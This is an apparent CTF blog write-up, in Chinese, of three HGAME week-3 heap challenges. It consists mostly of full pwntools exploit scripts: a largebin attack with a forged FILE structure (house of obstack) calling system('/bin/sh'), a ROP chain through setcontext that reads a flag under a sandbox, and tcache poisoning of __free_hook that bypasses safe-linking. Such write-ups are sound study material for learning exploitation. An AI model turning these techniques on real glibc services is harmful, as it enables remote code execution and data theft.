2022-hgame-week3

本文最后更新于:2023年2月6日 晚上

hgame week3 PWN

large note

largebin attack + house of obstack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './vuln'
elf = ELF(fn)
libc = elf.libc

debug = 0
if debug:
p = remote('week-4.hgame.lwsec.cn', 30776)
else:
p = process(fn)


malloc_hook, free_hook = 0, 0
system, execve, binsh = 0, 0, 0
setcontext, mprotect = 0, 0
_open, read, write = 0, 0, 0
_IO_list_all, _IO_stdfile_2_lock, _IO_wide_data_1 = 0, 0, 0
_IO_file_jumps, _IO_wfile_jumps, _IO_cookie_jumps, _IO_obstack_jumps = 0, 0, 0, 0
_IO_wfile_jumps_mmap = 0

def get_gadgets(libc_base):
global malloc_hook, free_hook, binsh, system, execve, setcontext, _open, read, write, mprotect
global _IO_list_all, _IO_stdfile_2_lock, _IO_wide_data_1
global _IO_file_jumps, _IO_wfile_jumps, _IO_cookie_jumps, _IO_obstack_jumps, _IO_wfile_jumps_mmap

free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']

binsh = libc_base + libc.search(b'/bin/sh').__next__()
system = libc_base + libc.sym['system']
execve = libc_base + libc.sym['execve']

setcontext = libc_base + libc.sym['setcontext']
mprotect = libc_base + libc.sym['mprotect']

_open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
_IO_list_all = libc_base + libc.sym['_IO_list_all']

_IO_stdfile_2_lock = libc_base + 0x1e6690
_IO_wide_data_1 = libc_base + 0x1e38a0
_IO_file_jumps = libc_base
_IO_wfile_jumps = libc_base
_IO_wfile_jumps_mmap = libc_base
_IO_obstack_jumps = libc_base + 0x1e5280
_IO_cookie_jumps = libc_base


log.success('libc_base: ' + hex(libc_base))
log.success('malloc_hook: ' + hex(malloc_hook))
log.success('free_hook: ' + hex(free_hook))
log.success('system: ' + hex(system))
log.success('execve: ' + hex(execve))
log.success('setcontext: ' + hex(setcontext))
log.success('mprotect: ' + hex(mprotect))
log.success('IO_llist_all: ' + hex(_IO_list_all))


lg = lambda x, y: log.success(f'{x}: {hex(y)}')

sd = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

rv = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rt = lambda x: p.can_recv_raw(timeout=x)


def menu(index):
p.sendlineafter('>', str(index))


def add(index, size):
menu(1)
p.sendlineafter('Index: ', str(index))
p.sendlineafter('Size: ', str(size))


def show(index):
menu(4)
p.sendlineafter('Index: ', str(index))


def edit(index, content):
menu(3)
p.sendlineafter('Index: ', str(index))
p.sendlineafter('Content: ', content)


def delete(index):
menu(2)
p.sendlineafter('Index: ', str(index))

def _exit():
menu(5)


add(0, 0x520)
add(1, 0x510)
add(2, 0x510)
add(3, 0x500)

delete(0)
delete(2)

show(2)
heap = u64(rv(6).ljust(8, b'\x00')) - 0x290
lg('heap', heap)

add(4, 0x510)
add(5, 0x540)

show(0)
leak = u64(ru('\x7f')[-6:].ljust(8, b'\x00'))
lg('leak', leak)
libc_base = leak - 0x1e4030
get_gadgets(libc_base)

delete(2)

payload = p64(leak) * 2 + p64(heap + 0x290) + p64(_IO_list_all - 0x20)
edit(0, payload)

add(6, 0x540)

fake_IO_file_addr = heap + 0xce0
fake_IO_addr = fake_IO_file_addr

fake_IO_file = flat(
{
0x8: 1, # next_free
0x10: 0, # chunk_limit
0x18: 1, # _IO_write_ptr
0x20: 0, # _IO_write_end
0x28: system, # gadget
0x38: fake_IO_addr + 0xe8, # rdi = &'/bin/sh\x00'
0x40: 1,
0x58: 0, # chain
0x78: _IO_stdfile_2_lock, # _IO_stdfile_1_lock
0x90: _IO_wide_data_1, # _IO_wide_data_2
0xc8: _IO_obstack_jumps + 0x20,
0xd0: fake_IO_addr # obstack(B)
}, filler='\x00'
)

payload = fake_IO_file + b'/bin/sh\x00'
edit(2, payload)

_exit()

p.interactive()

note content

跟上面的题一模一样,就是开了一个沙盒。

借助:一个特殊的gadget

1
2
3
4
# <getkeyserv_handle+576>
mov rdx, qword ptr [rdi + 8];
mov qword ptr [rsp], rax;
call qword ptr [rdx + 0x20]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './vuln'
elf = ELF(fn)
libc = elf.libc

debug = 0
if debug:
p = remote('week-4.hgame.lwsec.cn', 30776)
else:
p = process(fn)


malloc_hook, free_hook = 0, 0
system, execve, binsh = 0, 0, 0
setcontext, mprotect = 0, 0
_open, read, write = 0, 0, 0
_IO_list_all, _IO_stdfile_2_lock, _IO_wide_data_1 = 0, 0, 0
_IO_file_jumps, _IO_wfile_jumps, _IO_cookie_jumps, _IO_obstack_jumps = 0, 0, 0, 0
_IO_wfile_jumps_mmap = 0

def get_gadgets(libc_base):
global malloc_hook, free_hook, binsh, system, execve, setcontext, _open, read, write, mprotect
global _IO_list_all, _IO_stdfile_2_lock, _IO_wide_data_1
global _IO_file_jumps, _IO_wfile_jumps, _IO_cookie_jumps, _IO_obstack_jumps, _IO_wfile_jumps_mmap

free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']

binsh = libc_base + libc.search(b'/bin/sh').__next__()
system = libc_base + libc.sym['system']
execve = libc_base + libc.sym['execve']

setcontext = libc_base + libc.sym['setcontext']
mprotect = libc_base + libc.sym['mprotect']

_open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
_IO_list_all = libc_base + libc.sym['_IO_list_all']

_IO_stdfile_2_lock = libc_base + 0x1e6690
_IO_wide_data_1 = libc_base + 0x1e38a0
_IO_file_jumps = libc_base
_IO_wfile_jumps = libc_base
_IO_wfile_jumps_mmap = libc_base
_IO_obstack_jumps = libc_base + 0x1e5280
_IO_cookie_jumps = libc_base


log.success('libc_base: ' + hex(libc_base))
log.success('malloc_hook: ' + hex(malloc_hook))
log.success('free_hook: ' + hex(free_hook))
log.success('system: ' + hex(system))
log.success('execve: ' + hex(execve))
log.success('setcontext: ' + hex(setcontext))
log.success('mprotect: ' + hex(mprotect))
log.success('IO_llist_all: ' + hex(_IO_list_all))


lg = lambda x, y: log.success(f'{x}: {hex(y)}')

sd = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

rv = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rt = lambda x: p.can_recv_raw(timeout=x)


def menu(index):
p.sendlineafter('>', str(index))


def add(index, size):
menu(1)
p.sendlineafter('Index: ', str(index))
p.sendlineafter('Size: ', str(size))


def show(index):
menu(4)
p.sendlineafter('Index: ', str(index))


def edit(index, content):
menu(3)
p.sendlineafter('Index: ', str(index))
p.sendlineafter('Content: ', content)


def delete(index):
menu(2)
p.sendlineafter('Index: ', str(index))

def _exit():
menu(5)


add(0, 0x520)
add(1, 0x510)
add(2, 0x510)
add(3, 0x500)

delete(0)
delete(2)

show(2)
heap = u64(rv(6).ljust(8, b'\x00')) - 0x290
lg('heap', heap)

add(4, 0x510)
add(5, 0x540)

show(0)
leak = u64(ru('\x7f')[-6:].ljust(8, b'\x00'))
lg('leak', leak)
libc_base = leak - 0x1e4030
get_gadgets(libc_base)

pop_rdi_ret = libc_base + 0x000000000002858f
pop_rsi_ret = libc_base + 0x000000000002ac3f
pop_rdx_rbx_ret = libc_base + 0x00000000001597d6
pop_rax_ret = libc_base + 0x0000000000045580
syscall_ret = libc_base + 0x00000000000611ea
ret = pop_rdi_ret + 1

delete(2)

payload = p64(leak) * 2 + p64(heap + 0x290) + p64(_IO_list_all - 0x20)
edit(0, payload)

add(6, 0x540)

fake_IO_file_addr = heap + 0xce0
fake_IO_addr = fake_IO_file_addr
data = fake_IO_file_addr + 0x380
flag_addr = fake_IO_file_addr + 0x300
# mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
magic_gadget = libc_base + 0x000000000014b760

fake_IO_file = flat({
0:{
0x8: 1, # next_free
0x10: 0, # chunk_limit
0x18: 1, # _IO_write_ptr
0x20: 0, # _IO_write_end
0x28: magic_gadget, # gadget
0x38: fake_IO_file_addr + 0x100, # rdi = &'/bin/sh\x00'
0x40: 1,
0x58: 0, # chain
0x78: _IO_stdfile_2_lock, # _IO_stdfile_1_lock
0x90: _IO_wide_data_1, # _IO_wide_data_2
0xc8: _IO_obstack_jumps + 0x20,
0xd0: fake_IO_addr # obstack(B)
},
0xf0:{
0: [
0,
fake_IO_file_addr + 0x100,
0,0,
setcontext + 61
],
0xa0: fake_IO_file_addr + 0x200,
0xa8: ret
},
0x1f0:
[
pop_rax_ret, # sys_open('flag', 0)
2,
pop_rdi_ret,
flag_addr,
pop_rsi_ret,
0,
syscall_ret,

pop_rax_ret, # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi_ret,
3,
pop_rsi_ret,
data,
pop_rdx_rbx_ret,
0x40,
0,
syscall_ret,

pop_rax_ret, # sys_write(1, heap, 0x100)
1,
pop_rdi_ret,
1,
pop_rsi_ret,
data,
pop_rdx_rbx_ret,
0x40,
0,
syscall_ret
],
0x2f0: 'flag\x00\x00\x00\x00',
}, filler='\x00'
)

payload = fake_IO_file
edit(2, payload)

_exit()

p.interactive()

safe note

白给的uaf。tcache bin attack覆盖free_hook为system。

需要注意的一点是,libc2.32及以上版本都对fd指针进行了异或加密。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

fn = './vuln'
elf = ELF(fn)
libc = elf.libc

debug = 0
if debug:
p = remote('week-4.hgame.lwsec.cn', 30776)
else:
p = process(fn)

lg = lambda x, y: log.success(f'{x}: {hex(y)}')

sd = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

rv = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rt = lambda x: p.can_recv_raw(timeout=x)


malloc_hook, free_hook = 0, 0
system, execve, binsh = 0, 0, 0
setcontext, mprotect = 0, 0
_open, read, write = 0, 0, 0
_IO_list_all, _IO_stdfile_2_lock, _IO_wide_data_1 = 0, 0, 0
_IO_file_jumps, _IO_wfile_jumps, _IO_cookie_jumps, _IO_obstack_jumps = 0, 0, 0, 0
_IO_wfile_jumps_mmap = 0

def get_gadgets(libc_base):
global malloc_hook, free_hook, binsh, system, execve, setcontext, _open, read, write, mprotect
global _IO_list_all, _IO_stdfile_2_lock, _IO_wide_data_1
global _IO_file_jumps, _IO_wfile_jumps, _IO_cookie_jumps, _IO_obstack_jumps, _IO_wfile_jumps_mmap

free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']

binsh = libc_base + libc.search(b'/bin/sh').__next__()
system = libc_base + libc.sym['system']
execve = libc_base + libc.sym['execve']

setcontext = libc_base + libc.sym['setcontext']
mprotect = libc_base + libc.sym['mprotect']

_open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
_IO_list_all = libc_base + libc.sym['_IO_list_all']

_IO_stdfile_2_lock = libc_base + 0x1e6690
_IO_wide_data_1 = libc_base + 0x1e38a0
_IO_file_jumps = libc_base
_IO_wfile_jumps = libc_base
_IO_wfile_jumps_mmap = libc_base
_IO_obstack_jumps = libc_base + 0x1e5280
_IO_cookie_jumps = libc_base


log.success('libc_base: ' + hex(libc_base))
log.success('malloc_hook: ' + hex(malloc_hook))
log.success('free_hook: ' + hex(free_hook))
log.success('system: ' + hex(system))
log.success('execve: ' + hex(execve))
log.success('setcontext: ' + hex(setcontext))
log.success('mprotect: ' + hex(mprotect))
log.success('IO_llist_all: ' + hex(_IO_list_all))


def decrypt(cry):
ans = cry
for i in range(3):
ans = (ans >> 12) ^ cry
return ans


def menu(index):
p.sendlineafter('>', str(index))


def add(index, size):
menu(1)
p.sendlineafter('Index: ', str(index))
p.sendlineafter('Size: ', str(size))


def show(index):
menu(4)
p.sendlineafter('Index: ', str(index))


def edit(index, content):
menu(3)
p.sendlineafter('Index: ', str(index))
p.sendlineafter('Content: ', content)


def delete(index):
menu(2)
p.sendlineafter('Index: ', str(index))

def _exit():
menu(5)

for i in range(8):
add(i, 0x80)
add(8, 0x20)

for i in range(7):
delete(i)

show(6)
leak = u64(rv(6).ljust(8, b'\x00'))
lg('leak', leak)
key = decrypt(leak) >> 12
lg('key', key)

delete(7)
add(9, 0xf0)
show(7)
leak = u64(ru('\x7f')[-6:].ljust(8, b'\x00'))
lg('leak', leak)
libc_base = leak - 0x1e3c80
get_gadgets(libc_base)

edit(6, p64(key ^ free_hook))

add(10, 0x80)
add(11, 0x80)

edit(8, b'/bin/sh\x00')
edit(11, p64(system))

delete(8)

p.interactive()


2022-hgame-week3
http://example.com/2023/02/06/2022-hgame-week3/
作者
l1s00t
发布于
2023年2月6日
更新于
2023年2月6日
许可协议